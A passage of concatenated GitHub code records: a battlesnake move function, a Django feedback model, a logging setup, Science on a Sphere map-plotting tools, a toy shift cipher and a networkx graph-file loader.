step1[\"x\"] > step0[\"x\"]:\r\n return \"right\"\r\n elif step1[\"x\"] < step0[\"x\"]:\r\n return \"left\"\r\n elif step1[\"y\"] > step0[\"y\"]:\r\n return \"up\"\r\n else: # step1['y'] > step0['y']\r\n return \"down\"\r\n\r\n\r\ndef choose_move(data: dict) -> str:\r\n print(f'\\n\\nturn:{data[\"turn\"]}\\n, data:{data}')\r\n # return get_move_with_max_free_space(data)\r\n direction = get_move_in_shortest_path_to_food(data)\r\n if direction == None:\r\n mmfs = mover_max_free_space.MoverMaxFreeSpace()\r\n direction = mmfs.get_move_with_max_free_space(data)\r\n print(f'turn:{data[\"turn\"]}, direction:{direction}')\r\n print(\"=======================\\n\\n\")\r\n return direction\r\n","repo_name":"limk0032/battle_snake","sub_path":"server_logic.py","file_name":"server_logic.py","file_ext":"py","file_size_in_byte":12567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"12274318554","text":"from django.db import models\r\nfrom django.conf import settings\r\n\r\n# Create your models here.\r\n\r\n# Report: Judul, Isi Laporan, Tanggal, Lokasi, Instansi, Pihak yang terlibat, Status\r\n\r\nALL_STATUS = (\r\n ('Positif', 'Positif'),\r\n ('Negatif', 'Negatif'),\r\n)\r\n\r\nclass Feedback(models.Model): \r\n admin = models.ForeignKey(\r\n settings.AUTH_USER_MODEL,\r\n on_delete = models.CASCADE,\r\n null = True,\r\n )\r\n\r\n title = models.CharField(max_length=100)\r\n content = models.TextField()\r\n status = models.CharField(max_length=100, choices=ALL_STATUS)","repo_name":"PBP-G20Project/pusat-pengaduan","sub_path":"dashboard_admin/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"38299538536","text":"from __future__ import absolute_import\n\nimport logging\n\nfrom colorlog import ColoredFormatter\n\nlogger = logging.getLogger('noel')\nlogger.setLevel(logging.INFO)\n\n\ndef setup_logging():\n \"\"\"Sets up global logging.\n\n Configures the root logger with the level info and adds the color log\n formatter. Sets requests and urllib3 loggers to warning to avoid noise.\n \"\"\"\n root_logger = logging.getLogger()\n root_logger.setLevel(logging.INFO)\n handler = logging.StreamHandler()\n\n formatter = ColoredFormatter(\n \"%(log_color)s%(message)s%(reset)s\",\n reset=True,\n log_colors={\n 'DEBUG': 'cyan',\n 'INFO': 'blue',\n 'WARNING': 'yellow',\n 'ERROR': 'red',\n 'CRITICAL': 'red,bg_white',\n }\n )\n\n handler.setFormatter(formatter)\n root_logger.addHandler(handler)\n\n logging.getLogger(\"requests\").setLevel(logging.WARNING)\n logging.getLogger(\"urllib3\").setLevel(logging.WARNING)\n","repo_name":"theacodes/noel","sub_path":"noel/noel/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"70"} +{"seq_id":"19025575641","text":"\"\"\"\nTools to assist in creating maps for display on Science on a Sphere.\n\"\"\"\n\nimport time\nimport datetime\nimport subprocess\n\nfrom dateutil import parser\nimport pandas as pd\nimport numpy as np\nimport matplotlib as mpl\nfrom matplotlib import pyplot as plt\nfrom matplotlib import cm\nfrom matplotlib import patches\n# import matplotlib.patches as patches\nfrom matplotlib.collections import PatchCollection\nfrom mpl_toolkits.basemap import Basemap\nimport shapefile\nimport netCDF4\n\n\ndef progress_bar(now, total, start_time=None):\n\n \"\"\"Draw a progress bar.\n\n Now is the number of ticks we have completed, total is the maximum number of ticks\n \"\"\"\n\n bar_str = \"|\"\n for i in range(25):\n if i/25 < now/total:\n bar_str += \"=\"\n else:\n bar_str += ' '\n bar_str += \"|\"\n if start_time is not None and now > 0:\n time_per_tick = (time.time() - start_time)/now\n bar_str += \" \" + str(round(time_per_tick * (total - now))) + \" sec remaining \"\n print(bar_str, end=\"\\r\")\n\ndef createContourMap(input,\n dataKey=\"\",\n filename=\"\",\n latKey=\"\",\n levels=100,\n lonKey=\"\",\n colormap=\"coolwarm\",\n transparent=False):\n\n # Function to take a pandas DataFrame or a CSV file containing Lon/Lat values\n # and build a Science on a Sphere texture from it\n\n if isinstance(input, pd.DataFrame):\n df = input\n elif isinstance(input, str): # We probably got a CSV filename\n df = pd.read_csv(input)\n else:\n print(\"createContourMap: Error: You must pass either a CSV filename or a pandas DataFrame\")\n return()\n\n # Identify the lat/lon columns, if not specified by user\n keys = df.keys().to_list()\n if latKey == \"\":\n possible_keys = [\"latitude\", 'Latitude', 'lat', 'Lat', 'LAT', \"LATITUDE\", 'reclat']\n for key in possible_keys:\n if key in keys:\n latKey = key\n if latKey == \"\": # If we haven't matched anything, user will need to supply latKey\n print(\"createContourMap: Error: latitude column not found. Specify with latkey=\")\n return()\n if lonKey == \"\":\n possible_keys = [\"longitude\", 'Longitude', 'long', 'lon', 'Long', 'Lon',\n 'LON', 'LONG', \"LONGITUDE\", 'reclon', 'reclong']\n for key in possible_keys:\n if key in keys:\n lonKey = key\n if lonKey == \"\": # If we haven't matched anything, user will need to supply lonKey\n print(\"createContourMap: Error: longitude column not found. Specify with lonKey=\")\n return()\n if dataKey == \"\":\n possible_keys = [\"data\", \"DATA\"]\n for key in possible_keys:\n if key in keys:\n dataKey = key\n if dataKey == \"\": # If we haven't matched anything, user will need to supply datakey\n print(\"createContourMap: Error: data column not found. Specify with datakey=\")\n return()\n\n\n plt.rcParams[\"figure.figsize\"] = (16,8)\n m = Basemap(projection='cyl',llcrnrlat=-90,urcrnrlat=90,\\\n llcrnrlon=-180,urcrnrlon=180,resolution='l')\n\n if not transparent:\n m.drawcoastlines()\n plt.tricontourf(df[lonKey].astype(float).values,\n df[latKey].astype(float).values,\n df[dataKey].astype(float).values,\n levels, cmap=colormap)\n\n plt.gcf().subplots_adjust(left=0, right=1, top=1, bottom=0)\n plt.gca().axis(\"off\")\n\n if filename != \"\":\n plt.savefig(filename, dpi=256, transparent=transparent)\n\ndef movieFromFrames(frames, filename,\n fps=5,\n quality=1,\n silent=True):\n\n \"\"\"Wrapper for ffmpeg to turn a series of frames into a video formatted for Science on a Sphere.\n \"\"\"\n\n if not \"*\" in frames:\n print(f\"Error: filename must contain the wildcard character *. E.g., 'file_dir/*.jpg'\")\n return\n\n try:\n process = subprocess.run([\"ffmpeg\", '-y', '-r', str(fps), '-pattern_type', 'glob',\n '-i', frames, '-c:v', 'mpeg4', '-q:v',\n str(quality), filename],\n capture_output=True, check=True)\n if not silent:\n print(f\"File {filename} written\")\n except subprocess.CalledProcessError as e:\n print(str(e.stderr, \"UTF-8\"))\n\ndef createContourMapFromNOAAPSL(input, index,\n baseColor=None,\n baseTexture=None,\n colormap=\"coolwarm\",\n dataKey=\"\",\n debug=False,\n filename=\"\",\n levels=100,\n transparent=False):\n\n \"\"\"Take a NetCDF file from the NOAA Physical Sciences Lab and turn it into a contour map.\n \"\"\"\n\n if isinstance(input, netCDF4.Dataset):\n data = input\n elif isinstance(input, str): # We probably got a CSV filename\n data = netCDF4.Dataset(input)\n else:\n print(\"createContourMapFromNOAAPSL: Error: You must pass either a NetCDF filename or a netCDF4 Dataset instance\")\n return()\n\n if dataKey == \"\":\n possible_keys = [\"tmax\", 'tmin', 'precip']\n\n for key in possible_keys:\n if key in data.variables:\n dataKey = key\n break\n if dataKey == \"\": # If we haven't matched anything, user will need to supply latKey\n print(\"createContourMapFromNOAAPSL: Error: data key not recognized. Specify with dataKey=\")\n return()\n\n plt.rcParams[\"figure.figsize\"] = (16,8)\n\n if baseTexture is not None:\n m = Basemap(projection='cyl',llcrnrlat=-90,urcrnrlat=90,\\\n llcrnrlon=0.25,urcrnrlon=359.75,resolution='l')\n m.warpimage(baseTexture)\n elif baseColor is not None:\n fig.patch.set_facecolor(baseColor)\n\n if not transparent:\n m.drawcoastlines()\n\n lat = data.variables['lat'][:]\n lon = data.variables['lon'][:]\n this_time = data.variables['time'][:]\n values = data.variables[dataKey][:]\n\n lons, lats = np.meshgrid(lon , lat)\n\n # Convert time from hours since epoch 1900-01-01\n epoch = datetime.datetime(1900, 1, 1, 0, 0)\n date = epoch + (datetime.timedelta(hours=1) * this_time)\n\n index_to_use = None\n if isinstance(index, (float, int)):\n index_to_use = round(index)\n if index_to_use >= len(date):\n print(\"createContourMapFromNOAAPSL: Error: index not present.\")\n return()\n elif isinstance(index, str):\n try:\n index_to_use = np.where(date == parser.parse(index))[0][0]\n except IndexError:\n print(\"createContourMapFromNOAAPSL: Error: index not present.\")\n return()\n else:\n print(\"createContourMapFromNOAAPSL: Error: index not recognized. Provide either a numeric index or a date\")\n return()\n\n if debug:\n print(\"Dataset min value:\", np.min(values[index_to_use, :, :]), \"\\nDataset max value:\", np.max(values[index_to_use, :, :]))\n plt.contourf(lons, lats, values[index_to_use, :, :], levels, cmap=colormap)\n\n plt.gcf().subplots_adjust(left=0, right=1, top=1, bottom=0)\n plt.gca().axis(\"off\")\n\n if filename != \"\":\n plt.savefig(filename, dpi=256, transparent=transparent)\n\n\ndef createScatterMap(input,\n add_to_map=None,\n filename=\"\",\n latKey=\"\",\n lonKey=\"\",\n marker=\"o\",\n marker_alpha=1,\n marker_color=\"#8c4d20\",\n marker_color_key=\"\",\n marker_size=5,\n marker_size_key=\"\",\n return_map = True,\n transparent=False):\n\n \"\"\"Function to take a pandas DataFrame or a CSV file containing Lon/Lat values and build a Science on a Sphere texture from it\n \"\"\"\n\n if isinstance(input, pd.DataFrame):\n df = input\n elif isinstance(input, str): # We probably got a CSV filename\n df = pd.read_csv(input)\n else:\n print(\"createScatterMap: Error: You must pass either a CSV filename or a pandas DataFrame\")\n return()\n\n # Identify the lat/lon columns, if not specified by user\n keys = df.keys().to_list()\n if latKey == \"\":\n possible_keys = [\"latitude\", 'Latitude', 'lat', 'Lat', 'LAT', \"LATITUDE\", 'reclat']\n for key in possible_keys:\n if key in keys:\n latKey = key\n if latKey == \"\": # If we haven't matched anything, user will need to supply latKey\n print(\"createScatterMap: Error: latitude column not found. Specify with latkey=\")\n return()\n if lonKey == \"\":\n possible_keys = [\"longitude\", 'Longitude', 'long', 'lon', 'Long', 'Lon',\n 'LON', 'LONG', \"LONGITUDE\", 'reclon', 'reclong']\n for key in possible_keys:\n if key in keys:\n lonKey = key\n if lonKey == \"\": # If we haven't matched anything, user will need to supply latKey\n print(\"createScatterMap: Error: longitude column not found. Specify with lonKey=\")\n return()\n\n if add_to_map is not None:\n m = add_to_map\n else:\n plt.rcParams[\"figure.figsize\"] = (16,8)\n m = Basemap(projection='cyl',llcrnrlat=-90,urcrnrlat=90,\\\n llcrnrlon=-180,urcrnrlon=180,resolution='l')\n\n if not transparent:\n m.drawcoastlines()\n\n # If marker_size_key != \"\", interpret it as a DataFrame key and create\n # an array of sizes, with maximum size marker_size\n if marker_size_key != \"\":\n if marker_size_key not in df:\n print(f\"createScatterMap: Warning: marker_size_key '{marker_size_key}' is not in the given table. Skipping...\")\n else:\n marker_size = marker_size*df[marker_size_key].astype(float).values\n\n marker_color_list = [marker_color]\n if marker_color_key != \"\":\n if marker_color_key not in df:\n print(f\"createScatterMap: Warning: marker_color_key '{marker_color_key}' is not in the given table. Skipping...\")\n else:\n marker_color_list = df[marker_color_key]\n marker_color = None\n m.scatter(df[lonKey].astype(float), df[latKey].astype(float), marker_size, alpha=marker_alpha, c=marker_color_list, latlon=True, marker=marker)\n\n plt.gcf().subplots_adjust(left=0, right=1, top=1, bottom=0)\n plt.gca().axis(\"off\")\n\n if filename != \"\":\n plt.savefig(filename, dpi=256, transparent=transparent)\n\n if return_map:\n return m\n\ndef createCountryMap(input,\n baseColor=None,\n baseTexture=None,\n colormap=\"Greens\",\n countryKey=\"\",\n dataKey=\"\",\n filename=\"\",\n isWorldBank=False,\n max_year=3000,\n min_year=0,\n printMissingCountries=False,\n range_min=None,\n range_max=None,\n transparent=False,\n yearKey=\"\"):\n\n \"\"\"Function to take a CSV file containing country-based data and build a Science on a Sphere texture from it.\n \"\"\"\n if isinstance(input, pd.DataFrame):\n df = input\n elif isinstance(input, list):\n df = pd.DataFrame()\n df[\"Country\"] = input\n df[\"Data\"] = 1\n elif isinstance(input, str): # We probably got a CSV filename\n df = getOptimizedDataset(input,\n countryKey=countryKey,\n dataKey=dataKey,\n isWorldBank=isWorldBank,\n max_year=max_year,\n min_year=min_year,\n yearKey=yearKey)\n else:\n print(\"createCountryMap: Error: You must pass a CSV filename or a pandas DataFrame, or a list of countries\")\n return\n\n\n # Matplotlib setup\n plt.rcParams[\"figure.figsize\"] = (16,8)\n plt.clf()\n fig = plt.figure()\n ax = fig.add_subplot(111)\n\n if baseTexture is not None:\n m = Basemap(projection='cyl',llcrnrlat=-90,urcrnrlat=90,\\\n llcrnrlon=-180,urcrnrlon=180,resolution='l')\n m.warpimage(baseTexture)\n elif baseColor is not None:\n fig.patch.set_facecolor(baseColor)\n\n colormap = cm.get_cmap(colormap)\n if range_min is not None:\n vmin = range_min\n else:\n vmin = np.min(df[\"Data\"])\n if range_max is not None:\n vmax = range_max\n else:\n vmax = np.max(df[\"Data\"])\n norm = mpl.colors.Normalize(vmin=vmin, vmax=vmax)\n\n # Shapefile setup\n sf = shapefile.Reader(\"./world_shapefile/world.shp\")\n records = sf.records()\n shapes = sf.shapes()\n num_shapes = len(shapes)\n\n country_names = []\n for i in range(num_shapes):\n country_names.append(records[i][1])\n country_names = np.array(country_names)\n if isWorldBank:\n country_names = countryNameToWorldBank(country_names)\n else:\n country_names = countryNameNormalize(country_names)\n df[\"Country\"] = countryNameNormalize(df[\"Country\"].values)\n if printMissingCountries:\n print(\"Countries in input data that are not in the map data:\")\n print((df[~df[\"Country\"].isin(country_names)])[\"Country\"].values)\n print(\"Countries in the map data that are not in the input data:\")\n\n # Iterate the country shapes and color them based on the data\n for i in range(num_shapes):\n patches = []\n points = np.array(shapes[i].points)\n parts = shapes[i].parts\n par = list(parts) + [points.shape[0]]\n\n for j in range(len(parts)):\n patches.append(mpl.patches.Polygon(points[par[j]:par[j+1]]))\n\n country = country_names[i]\n\n try:\n val = float((df[df['Country'] == country])[\"Data\"].values[0])\n base_color = colormap(norm(val))\n if baseTexture is not None:\n color = (base_color[0], base_color[1], base_color[2], 0.5) # Make patrially transparent\n else:\n color = base_color\n ax.add_collection(PatchCollection(patches,facecolor=color,edgecolor='k', linewidths=.1))\n except:\n if printMissingCountries:\n print(country)\n if baseTexture is None:\n color = \"gray\"\n else:\n color = (0,0,0,0.5)\n ax.add_collection(PatchCollection(patches,facecolor=color,edgecolor='k', linewidths=.1))\n\n\n fig.subplots_adjust(left=0, right=1, top=1, bottom=0)\n ax.axis(\"off\")\n ax.set_xlim(-180,+180)\n ax.set_ylim(-90,90)\n\n if filename != \"\":\n plt.savefig(filename, dpi=256, facecolor=baseColor, transparent=transparent)\n\n #return(fig)\n\ndef createAnimatedCountryMap(df, min_year, max_year, filename,\n isWorldBank=False,\n createLabels=False,\n **kwargs):\n\n \"\"\"Takes a pandas DataFrane or CSV file and creates an output PNG for each year that can be used as an animation.\n \"\"\"\n\n # Break the extension off the filename for later use\n filename_split = filename.split('.')\n filename_root = \".\".join(filename_split[0:-1])\n filename_ext = \".\" + filename_split[-1]\n\n years = np.arange(min_year, max_year+1, 1)\n num_years = len(years)\n counter = 0\n start_time = time.time()\n labels = []\n for year in years:\n progress_bar(counter, num_years, start_time=start_time)\n counter += 1\n\n createCountryMap(df,\n filename=filename_root+\"_\"+str(year)+filename_ext,\n min_year=min_year,\n max_year=year,\n **kwargs)\n labels.append(str(year))\n\n if createLabels:\n # Create string from list\n label_str = \"\"\n for label in labels:\n label_str += label + \"\\n\"\n with open(\"labels.txt\", 'w', encoding=\"UTF-8\") as f:\n f.write(label_str)\n\ndef countryNameNormalize(name, silent=True):\n\n \"\"\"Function to correct names on the map to their correct generic name.\"\"\"\n\n name_dict = {\n \"Bahamas\": \"The Bahamas\",\n \"Bahamas, The\": \"The Bahamas\",\n \"Bolivia (Plurinational State of)\": \"Bolivia\",\n \"Burma\": \"Myanmar\",\n \"Byelarus\": \"Belarus\",\n \"Cape Verde\": \"Cabo Verde\",\n \"Czechia\": \"Czech Republic\",\n \"Democratic Republic of Congo\": \"Democratic Republic of the Congo\",\n \"Gambia\": \"The Gambia\",\n \"Gambia, The\": \"The Gambia\",\n \"Gaza Strip\": \"West Bank and Gaza\",\n \"Ivory Coast\": \"Cote d'Ivoire\",\n \"Kyrgyzstan\": \"Kyrgyz Republic\",\n \"Macedonia\": \"North Macedonia\",\n \"Man, Isle of\": \"Isle of Man\",\n \"Micronesia\": \"Federated States of Micronesia\",\n \"Myanmar (Burma)\": \"Myanmar\",\n \"Pacific Islands (Palau)\": \"Palau\",\n \"St. Kitts and Nevis\": \"Saint Kitts and Nevis\",\n \"St. Lucia\": \"Saint Lucia\",\n \"St. Vincent and the Grenadines\": \"Saint Vincent and the Grenadines\",\n \"Swaziland\": \"Eswatini\",\n \"Tanzania, United Republic of\": \"Tanzania\",\n \"Western Samoa\": \"Samoa\",\n \"Zaire\": \"Democratic Republic of the Congo\",\n }\n\n if isinstance(name, str):\n if name in name_dict:\n return name_dict[name]\n if not silent:\n print(f\"countryNameNormalize: name not found: {name}\")\n return name\n elif isinstance(name, list):\n fixed_list = []\n for entry in name:\n if entry in name_dict:\n fixed_list.append(name_dict[entry])\n else:\n if not silent:\n print(f\"countryNameNormalize: name not found: {name}\")\n fixed_list.append(entry)\n return fixed_list\n elif isinstance(name, np.ndarray):\n fixed_list = []\n for entry in name:\n if entry in name_dict:\n fixed_list.append(name_dict[entry])\n else:\n if not silent:\n print(f\"countryNameNormalize: name not found: {name}\")\n fixed_list.append(entry)\n return(np.asarray(fixed_list))\n else:\n print(\"countryNameNormalize: Error: input format not recognized\")\n return name\n\ndef countryNameToWorldBank(name, silent=True):\n\n \"\"\"Take a country name and return it formatted for comparison to World Bank Databank data.\"\"\"\n\n name_dict = {\n \"Brunei\": \"Brunei Darussalam\",\n \"Burma\": \"Myanmar\",\n \"Byelarus\": \"Belarus\",\n \"Cape Verde\": \"Cabo Verde\",\n \"Congo\": \"Congo, Rep.\",\n \"Egypt\": \"Egypt, Arab Rep.\",\n \"Federated States of Micronesia\": \"Micronesia, Fed. Sts.\",\n \"Gaza Strip\": \"West Bank and Gaza\",\n \"Iran\": \"Iran, Islamic Rep.\",\n \"Ivory Coast\": \"Cote d'Ivoire\",\n \"Kyrgyzstan\": \"Kyrgyz Republic\",\n \"Laos\": \"Lao PDR\",\n \"Macau\": \"Macao SAR, China\",\n \"Macedonia\": \"North Macedonia\",\n \"Man, Isle of\": \"Isle of Man\",\n \"Myanmar (Burma)\": \"Myanmar\",\n \"North Korea\": \"Korea, Dem. People’s Rep.\",\n \"Pacific Islands (Palau)\": \"Palau\",\n \"Russia\": \"Russian Federation\",\n \"South Korea\": \"Korea, Rep.\",\n \"Swaziland\": \"Eswatini\",\n \"Syria\": \"Syrian Arab Republic\",\n \"Tanzania, United Republic of\": \"Tanzania\",\n \"Venezuela\": \"Venezuela, RB\",\n \"West Bank\": \"West Bank and Gaza\",\n \"Western Samoa\": \"Samoa\",\n \"Yemen\": \"Yemen, Rep.\",\n \"Zaire\": \"Congo, Dem. Rep.\",\n }\n\n if isinstance(name, str):\n if name in name_dict:\n return name_dict[name]\n if not silent:\n print(f\"countryNameToWorldBank: name not found: {name}\")\n return name\n elif isinstance(name, list):\n fixed_list = []\n for entry in name:\n if entry in name_dict:\n fixed_list.append(name_dict[entry])\n else:\n if not silent:\n print(f\"countryNameToWorldBank: name not found: {name}\")\n fixed_list.append(entry)\n return fixed_list\n elif isinstance(name, np.ndarray):\n fixed_list = []\n for entry in name:\n if entry in name_dict:\n fixed_list.append(name_dict[entry])\n else:\n if not silent:\n print(f\"countryNameToWorldBank: name not found: {name}\")\n fixed_list.append(entry)\n return(np.asarray(fixed_list))\n else:\n print(\"countryNameNormalize: Error: input format not recognized\")\n return name\n\ndef getOptimizedDataset(input,\n countryKey=\"\",\n dataKey=\"\",\n isWorldBank=False,\n max_year=3000,\n min_year=0,\n yearKey=\"\"):\n\n \"\"\"Take a csv file, read it, and build a new DataFrame that\n matches each country with the latest available year of data\n for that country.\n\n Years before min_year and after max_year are ignored.\n \"\"\"\n\n if isWorldBank:\n getOptimizedDatasetWorldBank(input, max_year=max_year, min_year=min_year)\n else:\n\n if isinstance(input, pd.DataFrame):\n df = input\n elif isinstance(input, str): # We probably got a CSV filename\n df = pd.read_csv(input)\n else:\n print(\"getOptimizedDataset: Error: You must pass either a CSV filename or a pandas DataFrame\")\n return\n\n # Make sure we have a valid key for everything we need\n keys = df.keys().to_list()\n\n if yearKey == \"\":\n possible_keys = [\"year\", 'Year', \"YEAR\", 'yr', 'Yr', 'YR']\n for key in possible_keys:\n if key in keys:\n yearKey = key\n if yearKey == \"\": # If we haven't matched anything, user will need to supply latKey\n print(\"getOptimizedDataset: Error: year column not found. Specify with yearKey=\")\n return\n\n if countryKey == \"\":\n possible_keys = [\"country\", \"Country\", \"COUNTRY\", \"Nation\", \"State\", \"STATE\", \"state\"]\n for key in possible_keys:\n if key in keys:\n countryKey = key\n if countryKey == \"\": # If we haven't matched anything, user will need to supply latKey\n print(\"getOptimizedDataset: Error: country column not found. Specify with country=\")\n return\n\n if dataKey == \"\":\n possible_keys = [\"data\", \"DATA\"]\n for key in possible_keys:\n if key in keys:\n dataKey = key\n if dataKey == \"\": # If we haven't matched anything, user will need to supply datakey\n print(\"getOptimizedDataset: Error: data column not found. Specify with datakey=\")\n return\n\n df[yearKey] = df[yearKey].astype(float)\n\n # Trim by the min_year and max_year\n df = df[df[yearKey] >= min_year]\n df = df[df[yearKey] <= max_year]\n\n # Now iterate through the DataFrame and get the latest year of data for each\n # country\n country_list = []\n data_list = []\n year_of_data = [] # Holds the year that data in data_list comes from\n\n countries_to_match = df[countryKey].unique()\n for country in countries_to_match:\n temp = df[df[countryKey] == country]\n row_to_use = temp[temp[yearKey] == temp[yearKey].max()]\n country_list.append(row_to_use[countryKey].values[0])\n year_of_data.append(row_to_use[yearKey].values[0])\n data_list.append(row_to_use[dataKey].values[0])\n\n output = pd.DataFrame()\n output[\"Country\"] = country_list\n output[\"Data\"] = data_list\n output[\"Data year\"] = year_of_data\n\n return output\n\n\ndef getOptimizedDatasetWorldBank(csv, max_year=3000, min_year=0):\n\n \"\"\"Take a csv file, read it, and build a new DataFrame that\n matches each country with the latest available year of data\n for that country.\n\n Years before min_year and after max_year are ignored.\n \"\"\"\n\n data = pd.read_csv(csv, na_values=\"..\")\n\n # Rename the year columns to be just years\n keys = data.keys().to_list()\n years_list = [] # The years we will be searching through min_year <= year_list <= max_year\n rename_dict = {}\n for key in keys:\n try:\n year = int(key[0:4])\n rename_dict[key] = str(year)\n if (year >= min_year) and (year <= max_year):\n years_list.append(year)\n except ValueError:\n rename_dict[key] = key\n data.rename(mapper=rename_dict, axis=1, inplace=True)\n years_list.sort(reverse=True) # Newest first\n\n # Now iterate through the DataFrame and get the latest year of data for each\n # country\n country_list = []\n data_list = []\n year_of_data = [] # Holds the year that data in data_list comes from\n\n for i in range(len(data)):\n row = data.iloc[i].dropna()\n for year in years_list:\n key = str(year)\n if key in row:\n country_list.append(row[\"Country Name\"])\n data_list.append(row[key])\n year_of_data.append(year)\n break\n\n output = pd.DataFrame()\n output[\"Country\"] = country_list\n output[\"Data\"] = data_list\n output[\"Data year\"] = year_of_data\n\n return output\n","repo_name":"Cosmic-Chatter/Constellation","sub_path":"SOS_plot_tools/SoS_plot_tools.py","file_name":"SoS_plot_tools.py","file_ext":"py","file_size_in_byte":25262,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"20247050755","text":"message = input(\"Enter the message to encrypt: \")\nshift = int(input(\"Enter int to shift: \"))\nclass encrypt():\n message = list(message)\n def __init__(self):\n self.temp = []\n self.temp2=[]\n def encryption(self):\n for i in range(len(message)):\n temparary = ord(message[i]) + shift\n self.temp.append(ord(message[i]) + shift)\n self.temp2.append(chr(temparary))\n Ciphertext = ''.join(map(str, self.temp2))\n print(\"Ciphertext : \\n\",Ciphertext)\nclass decrypt(encrypt):\n def decryption(self):\n temp2 = []\n for j in range(len(self.temp)):\n temp2.append(chr(self.temp[j]-shift))\n Plaintext = ''.join(map(str, temp2))\n print(\"Plaintext : \\n\",Plaintext)\nDecrypt = decrypt()\nDecrypt.encryption()\ndec = int(input(\"Press '0' to decrypt: \"))\nif dec == 0:\n Decrypt.decryption()\nelse:\n raise Exception(\"Use right key to decrypt...\")","repo_name":"neerajchowdary889/learning-Cryptography","sub_path":"Shiftcipher.py","file_name":"Shiftcipher.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"8839874418","text":"import networkx as nx\n\"\"\"\n目前仅支持 adjlist文件与edgelist 文件\n--format adjlist 每行的代表有关系的序列\n1 2 3 4 5 6 7 8 9 11 12 13 14 1 20 22 32 \n2 1 3 4 8 14 18 20 22 31\n3 1 2 4 8 9 10 14 28 29 33 \n\n--format edgelist 每行代表一种关系 \n1 2\n1 3\n1 4\n...\n\n--format weiget-edgelist 每行代表一种关系\n1 2 0.12 \n1 3 0.13\n1 4 0.14\n\"\"\"\n\n\nclass Node2VecData(object):\n def __init__(self, file_type, method_type, path, nodetype=None, edgetype=None, graph_type=None):\n \"\"\"\n :param file_type: 文件类型 edgelist weighted_edge, adjlist str 字符串类型数据\n :param method_type: \"r\" or \"w\" 读或写\n :param path: 文件路径\n :param nodetype: 节点类型,可为 int, str, float, python ,转换到指定的数据类型上,默认为None,自动识别\n :param edgetype: 边类型, 可为int str, float, python 等类型数据\n :param graph_type: # 用于判断 以何种方式的图读取数据\n \"\"\"\n self.file_type = file_type\n self.method_type = method_type\n self.path = path\n self.nodetype = nodetype\n self.edgetype = edgetype\n self.graph_type = graph_type\n self.create_using = self.create_graph()\n\n def create_graph(self): # 创建一个空图\n if self.graph_type == \"no_di\": # 创建 无向图\n create_using = nx.Graph()\n elif self.graph_type == \"di\": # 创建 有向图\n create_using = nx.DiGraph()\n elif self.graph_type == \"mul_no_di\": # 创建多重无向图\n create_using = nx.MultiGraph()\n # elif self.graph_type == \"mul_di\": # 创建多重有向图\n elif self.graph_type == \"mul_di\":\n create_using = nx.MultiDiGraph()\n else:\n create_using = nx.Graph()\n return create_using\n\n def process(self):\n if self.method_type == \"r\":\n return self.loaddata()\n else:\n self.savedata()\n\n def loaddata(self):\n if self.file_type == \"edgelist\":\n graph = self.load_edgelist()\n elif self.file_type == \"weighted_edge\":\n graph = self.load_weighted_edgelist()\n elif self.file_type == \"adjlist\":\n graph = self.load_adjlist()\n else:\n raise ValueError(\"load_adjlist is error!\")\n return graph\n\n def savedata(self):\n if self.file_type == \"edge\":\n self.save_edgelist()\n elif self.file_type == \"weighted_edge\":\n self.save_weighted_edgelist()\n elif self.file_type == \"adjlist\":\n self.save_adjlist()\n\n def load_edgelist(self):\n graph_oop = nx.read_edgelist(path=self.path,\n comments=\"#\",\n delimiter=None,\n create_using=self.create_using,\n nodetype=self.nodetype,\n data=True,\n edgetype=self.edgetype,\n encoding=\"utf-8\")\n\n \"\"\"\n path 读取的文件名, 使用rb模式打开\n comments 字符串,可选, 表示注释开始的字符\n delimiter 字符串,可选项, 表示分隔符\n create_using 可选项,网络X图构造函数,可选(default=nx)。图)要创建的图形类型。\n 如果图形实例,则在填充之前清除。、\n nodetype int, float, str, python类型,可选,将字符串转成指定类型\n data 布尔, 或者元组列表(label,type),元组指定字典key和类型用于边数据,\n edgetype: int float str, python 类型,将string类型edge数据转成指定类型, \n 使用“weight”\n encoding, string 可选项,\n 当读取文件时,指定想要编码的类型\n \"\"\"\n return graph_oop\n\n def load_adjlist(self):\n graph_oop = nx.read_adjlist(path=self.path,\n comments=\"#\",\n delimiter=None,\n create_using=self.create_using,\n nodetype=self.nodetype,\n encoding=\"utf-8\")\n\n \"\"\"\n path 读取的文件名, 使用rb模式打开\n comments 字符串,可选, 表示注释开始的字符\n delimiter 字符串,可选项, 表示分隔符\n create_using 可选项,网络X图构造函数,可选(default=nx)。图)要创建的图形类型。\n 如果图形实例,则在填充之前清除。、\n nodetype int, float, str, python类型,可选,将字符串转成指定类型 \n 使用“weight”\n encoding, string 可选项,\n 当读取文件时,指定想要编码的类型\n \"\"\"\n return graph_oop\n\n def load_weighted_edgelist(self): # 加载加权的edgelist文件\n graph_oop = nx.read_weighted_edgelist(path=self.path,\n comments=\"#\",\n delimiter=None,\n create_using=self.create_using,\n nodetype=self.nodetype,\n encoding=\"utf-8\")\n return graph_oop\n\n def save_adjlist(self):\n nx.write_adjlist(G=nx.path_graph(4),\n path=self.path,\n comments=\"#\",\n delimiter=\" \",\n encoding=\"utf-8\")\n\n def save_edgelist(self):\n nx.write_edgelist(G=nx.path_graph(4),\n path=self.path,\n comments=\"#\",\n delimiter=\" \",\n data=True,\n encoding=\"utf-8\")\n\n def save_weighted_edgelist(self):\n nx.write_weighted_edgelist(G=nx.path_graph(4),\n path=self.path,\n comments=\"#\",\n delimiter=\" \",\n encoding=\"utf-8\")\n\n\nif __name__ == \"__main__\":\n # file_path = \"F:/kanshancup/def/deepwalkdata/testdata/p2p-Gnutella08.edgelist\"\n # mygraph = Node2VecData(\"edgelist\", \"r\", file_path, None, None, \"di\")\n # mygraph = mygraph.load_edgelist()\n # print(type(mygraph))\n # print(\"Done!\")\n\n # 读取带加权的\n file_path = \"F:/kanshancup/def/deepwalkdata/testdata/p2p-x.edgelist\"\n mygraph = Node2VecData(\"edgelist\", \"r\", file_path, None, None, \"di\")\n mygraph = mygraph.load_weighted_edgelist()\n 